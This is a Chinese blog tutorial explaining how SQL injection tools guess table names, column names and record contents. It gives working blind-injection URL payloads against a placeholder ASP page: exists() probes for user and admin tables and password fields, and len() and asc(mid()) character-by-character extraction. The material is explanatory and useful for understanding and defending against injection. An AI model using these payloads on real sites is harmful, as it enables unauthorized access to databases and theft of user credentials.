当前位置:首页 > 大杂烩 > 正文内容

sql注入之猜表猜字段暴库原理

高老师8年前 (2017-08-27)大杂烩2471

前面已经讲了关于是否存在注入点的说明.

现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)

1.猜表的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user])    //查询是否存在user表

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表

2.猜字段的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user])    //查询在user表是否存在username字段

http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user])    //查询在user表是否存在password字段

3.逐个记录的获取和暴库

  (1).先查询user表第一个记录中username的字段长度

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=1  //测试第一个记录用户名长度是不是1

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=2  //测试第一个记录用户名长度是不是2

.........直到测试正确

  (2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟

ASCII码不多

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,1,1)) from [user])=97  //测试username第1位是不是a(ASCII中97是字母a)

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,2,1)) from [user])=98  //测试username第2位是不是b(ASCII中98是字母b)

.........直到测试正确

通过工具循环测试很快完成检测整个表中的所有记录

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/492.html

分享给朋友:

“sql注入之猜表猜字段暴库原理” 的相关文章

c#中string和StringBuilder效率对比

c#中string和StringBuilder效率对比

    c#中string和StringBuilder直接看看执行速度。(2).String类型累计赋值Test               ...

svn自动更新到网站

svn自动更新到网站

【一】.钩子文件的设置和创建(1).打开hooks目录,可以看到有一个post-commit.tmpl文件,这是一个模板文件。复制一份,重命名为post-commit,将其用户组设为www,并设置为可执行。chown www:www post-commitchmod +x post-commit(2...

PHP安装mongodb扩展

PHP安装mongodb扩展

在安装之前我们先看看官方给出的依赖关系.首先是dll文件和mongodb软件的依赖关系然后是PHP文件和dll的依赖关系我的是phpstudy的集成环境PHP5.4.45 NTS+Apache+Mysql【一】.安装mongodb3.0软件对比依赖关系下载mongodb3.0.msi软件,完整名称:...

Application的错误使用

Application的错误使用

Application 对象用于存储和访问来自任意页面的变量,类似 Session 对象。不同之处在于所有的用户分享一个 Application 对象,而 session 对象和用户的关系是一一对应的。很多的书籍中介绍的Application对象都喜欢以统计在线人数来介绍Application 对象...

C# md5加密,C# md5加密代码

C# md5加密,C# md5加密代码

public static string GetMD5(string str) {     //创建MD5对象     MD5 md5 = MD5.C...

IE浏览器无法显示此页解决方案

IE浏览器无法显示此页解决方案

方案1.IE浏览器"无法显示此页"的解决办法(1).按下Win+R键打开运行,输入netsh winsock reset,回车;(2).重启即可. 方案2.IE浏览器"无法显示此页"的解决办法 (1).设置-连接-局域网设置-自动检测设置开...